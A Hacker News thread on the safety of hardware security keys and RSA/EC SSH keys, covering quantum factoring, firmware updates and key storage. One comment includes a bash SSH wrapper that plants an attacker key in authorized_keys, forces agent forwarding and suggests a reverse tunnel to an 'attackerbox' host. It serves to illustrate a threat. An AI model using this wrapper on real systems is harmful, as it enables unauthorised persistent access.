Remix.run Logo
▲ Are Your Hardware Keys Still Safe? Steelmanning the NSA Panic(vpetersson.com)
59 points by mvip 7 hours ago | 38 comments
▲upofadown 5 hours ago | parent | next [-]

It's hardly a crisis if you only have a 2048 bit RSA key on your hardware key and that key won't go any bigger. There still doesn't seem to be any more real possibility of anyone being able to break RSA2048 since I looked into this 3 years ago:

* https://articles.59.ca/doku.php?id=em:20482030

AI could in theory come up with a better algorithm, but there is no reason to think that that algorithm could threaten RSA2048 but not, say RSA3072. Such a breakthrough would be huge...

▲Melatonic 20 minutes ago | parent | next [-]

Isn't everyone freaking out right now specifically because RSA and EC might have been mathematically shortcutted ?

▲mschuster91 4 hours ago | parent | prev [-]

> AI could in theory come up with a better algorithm, but there is no reason to think that that algorithm could threaten RSA2048 but not, say RSA3072. Such a breakthrough would be huge...

If it is enough to lower the required time to attack an RSA2048 key from 700-ish years down to, say, 100 years of a BTC equivalent compute system, it now becomes feasible for at least nation-state entities even as RSA3072 remains out of reach.

Anyway, no matter what, RSA crypto falls apart once the first actually usable quantum computer is built. That is something I'm much more worried about.

▲upofadown 2 hours ago | parent | next [-]

The issue is not just as simple as compute. You would need something like an exabyte of memory somehow connected to enough compute to actually do something. Breaking RSA2048 is wildly out of the reach of current capabilities.

▲mschuster91 24 minutes ago | parent [-]

> You would need something like an exabyte of memory somehow connected to enough compute to actually do something.

The worldwide production of RAM is 40 EB a year [1]. It definitely is possible to acquire such amounts of RAM over the years.

> Breaking RSA2048 is wildly out of the reach of current capabilities.

The NSA has the Utah Data Center with a highly classified profile [2]. I would absolutely not put it past the NSA to run precisely such efforts there. Most probably on special hardware as well. And the Israelis are just as capable.

And do we know that the allegedly "stolen" and "diverted to China" NVIDIA GPUs actually ended up in China, or might it be that they actually got diverted to the NSA?

[1] https://www.pcgamer.com/hardware/memory/researchers-predict-...

[2] https://en.wikipedia.org/wiki/Utah_Data_Center

▲Melatonic 20 minutes ago | parent [-]

Or diverted to Israel

▲Mistletoe 3 hours ago | parent | prev [-]

Can quantum computers factor anything more complex than about 5x3=15 yet?

https://www.reddit.com/r/QuantumComputing/comments/1535lii/w...

I feel like the markets and everything else are in extreme hysteria mode about this still. We are nowhere near anything. AI people regurgitating nonsense that spreads fear and fattens their pockets is all I see.

▲danlitt 3 hours ago | parent | next [-]

I believe they factored 21 in the last few years.

▲Melatonic 18 minutes ago | parent | next [-]

Probably stuck at 42. Once we have we that well have the answer to everything.

Don't forget to bring a towel

▲wowczarek 2 hours ago | parent | prev [-]

Yes, but using a priori knowledge of 3 x 7 = 21. Mind that the paper's title starts with "Pretending to factor..." though.

while(safe(RSA4096)) sleep(180 * 86400);

▲upofadown 2 hours ago | parent | prev | next [-]

Not even that...

"Any claims before November 2026 of breaking RSA with a Shor's computer are fake."

https://articles.59.ca/doku.php?id=em:qanalog#a_shor_s_compu...

▲teh_infallible 3 hours ago | parent | prev [-]

People think discovering groundbreaking mathematical concepts is the same as finding bugs in code.

▲riedel 4 hours ago | parent | prev | next [-]

After reading the negative comments on Damien Miller's post about additional energy usage, I wondered what the real impact would be. It seems to me that the biggest impact of changing recommendations will actually be e-waste from obsolete hardware and not the added complexity in key-exchange or additional storage néeds.

[0] https://hachyderm.io/@damienmiller/117721161860082546

▲jwr 4 hours ago | parent | prev | next [-]

A reminder that if you use Yubikeys (you should!), you can use them for authenticating SSH sessions with rsa4096 using the OpenPGP app (see guide here: https://github.com/drduh/YubiKey-Guide).

I've been happily doing so for many years now and intend to continue doing so.

These same keys, incidentally, can also be:

* backed up on paper

* duplicated to multiple YubiKeys if you create them yourself

* be used for encrypting your backups (using gpg)

* and of course, be used for PGP, if you know people who use it (an elegant weapon for a more civilized age)

▲wowczarek 2 hours ago | parent | next [-]

drduh's guide is a great starting point to getting one's workflow right.

Add paperkey[0], pass[1], aerc[2] using passwords stored in pass and integrated GPG signing, and for something more convenient than a paper copy but lasting far longer than USB or SSD, consider a USB "storage" device using ferroelectric RAM [3] for your master key.

[0] https://www.jabberwocky.com/software/paperkey/

[1] https://www.passwordstore.org/

[2] https://man.sr.ht/~rjarry/aerc/integrations/password-manager...

[3] https://machdyne.com/product/blaustahl-storage-device/ - or another one of theirs.

▲Melatonic 17 minutes ago | parent | prev | next [-]

The key itself can decrypt that (in hardware) right ?

▲dingaling 3 hours ago | parent | prev | next [-]

You can do all that with traditional passphrase-protected keys and no reliance on a closed-source device.

▲jwr 2 hours ago | parent [-]

If you know of another way to do "all that" with a physical device where the private key can't be read and that provides a physical touch requirement feature, I'm all ears.

▲_hyn3 12 minutes ago | parent [-]

The private key can't be read when encrypted, either; that's why the passphrase exists.

The physical touch requirement feature is nice though, but it's not really that useful in the real world.

If your ssh client is compromised (ie export PATH="~/.hacker-controlled:$PATH") then it could just always do -A or -L or -R or -W or anything else.

~/.hacker-controlled/ssh:

   #! /bin/bash
   [ ! -e /tmp/.already-pwned ] && echo "ssh-rsaAAAA123123" | /usr/bin/ssh tee -A .ssh/authorized_keys $@ >/dev/null 2>&1 && touch /tmp/.already-pwned
   /usr/bin/ssh -A $@
The wrapper attack is trivially simple and doesn't even need the tee trick to be useful. just forcing -A or -R 2222:localhost:22 attacker@attackerbox on every connection is enough to get a foothold. The tee variant is useful for self-propagation though.

(I haven't tested this, but it looks like it'd work.) You'd just try to ssh into that box twice, and that's not even a sophisticated attack.

Every time you type `ssh remotehost`, you're merrily signing your own death certificate.

Bottom line: if an attacker has write access to files in your local homedir/PATH/.bashrc/etc, you're done, Yubikey or not.

▲juanre 2 hours ago | parent | prev | next [-]

I have been helping friends and family get started with Yubikeys for a few months now, but it's becoming more difficult. The last set I bought (from Canada) will take more than two weeks to deliver.

▲mvip 4 hours ago | parent | prev [-]

That guide is so good!

▲jsiepkes 3 hours ago | parent | prev | next [-]

With all this uncertainty and movement in the cryptography world, being unable to update the firmware on your Yubikey seems like a big potential problem to me. Simply because it can't adapt to any future discoveries. While the idea of not having a firmware-upgrade attack surface might have made sense in a pre-AI world, I'm not so sure it does now.

Personally I've ordered a Nitrokey (which has updatable firmware) so I can do some experimenting to see if its a good replacement.

▲mvip 3 hours ago | parent [-]

It's a double edged sword tho. I don't think we should underestimate the firmware attack surface. IIRC crypto wallets have been targeted for such attacks before.

▲iancarroll 35 minutes ago | parent | next [-]

The NitroKey 3 seems to use the LPC55S6x, which supports TrustZone-M for isolating components of the firmware (such as the untrusted USB frontend vs the backend signing/crypto). Unfortunately, it seems like they don't use this in their firmware at all, but I don't think it would be too difficult. (They also don't store passkeys in the SE due to NFC power limits, which isn't perfect.)

I recently had Claude design my own security key based on the LPC55S6x as well, with the theory that upgradable firmware would be useful. Unfortunately, the first round of boards had a fatal design mistake, so we will see how the second revision goes...

▲downrightmike 2 hours ago | parent | prev [-]

Yeah, bought, modified with a gsm modem, resealed and returned to the seller, then just resold and then anytime they were used, they reported back to the scammers and then the all got drained. Don't buy 3rd party

▲WesSouza 2 hours ago | parent | prev | next [-]

Thanks for the article, ChatGPT!

▲fabian2k 3 hours ago | parent | prev | next [-]

What's the best option now or in the near future for securing SSH keys? I've been toying with the idea of putting them on a Yubikey, so that they're not stored persistently on the PC. But now the best move seems to be to also use a stronger algorithm, which does seem to have very limited hardware support at this moment.

Or would it be a more worthwhile path to add 2FA to the SSH servers using FIDO2 or something like that?

▲cvwright 2 minutes ago | parent | next [-]

Stealing your laptop and cracking your human memorable password is still a lot easier than 2^85 or whatever it’s going to be to break ed25519.

Stick with the yubikeys for now, and upgrade when new ones are available.

▲stephbook an hour ago | parent | prev | next [-]

I'd buy YubiKeys. If AI breaks stuff that YubiKeys can encrypt, you won't be the first or most worthwhile target. Also you could then just switch to a newer model or adopt a different way of auth altogether.

▲mvip 3 hours ago | parent | prev [-]

I think for the foreseeable future, the name of the game is crypto agility. Shorter lived keys, and being able to adopt new ciphers as existing (and new ones) are proven to be inadequate.

▲n923263 2 hours ago | parent [-]

> Shorter lived keys, and being able to adopt new ciphers

Only if you have significant constraints on storage or (more likely) transfer size. If you're okay with large encryption keys (but small encapsulations) and large signatures (but small verification keys), you can just use McElice encryption and Lamport signatures and basically ignore almost anything short of P=NP (in which case you're screwed regardless).

▲throwaway198846 5 hours ago | parent | prev | next [-]

Does someone have a similar blog post summarizing the situation for Wi-Fi?

▲mjg59 32 minutes ago | parent | next [-]

As far as I can tell, no impact on WiFi unless you're using 802.1x with 256-bit elliptic curve certs.

▲mvip 4 hours ago | parent | prev [-]

That's a really interesting idea. Maybe I will write a follow-up on that as I am curious about this myself.

▲mpalmer 4 hours ago | parent | prev | next [-]

I could just have my own agent look at this stuff instead of slogging through the domain name owner's poor taste in LLM output.

How am I supposed know I'm getting any of the site owner's own expertise?

EDIT: It doesn't appear that I'm getting anything of the sort; basically all findings and insights are pulled from the sources. This is just synthesis of the kind LLMs are great at, but why is it worth a four thousand word post?

▲eptcyka 4 hours ago | parent | prev [-]

I can’t read claudish, get enraged real quick.

▲platevoltage a minute ago | parent | next [-]

I just realized how much I miss “No BS, no fluff”

▲tedd4u an hour ago | parent | prev [-]

This one has “the worked example“ and several others.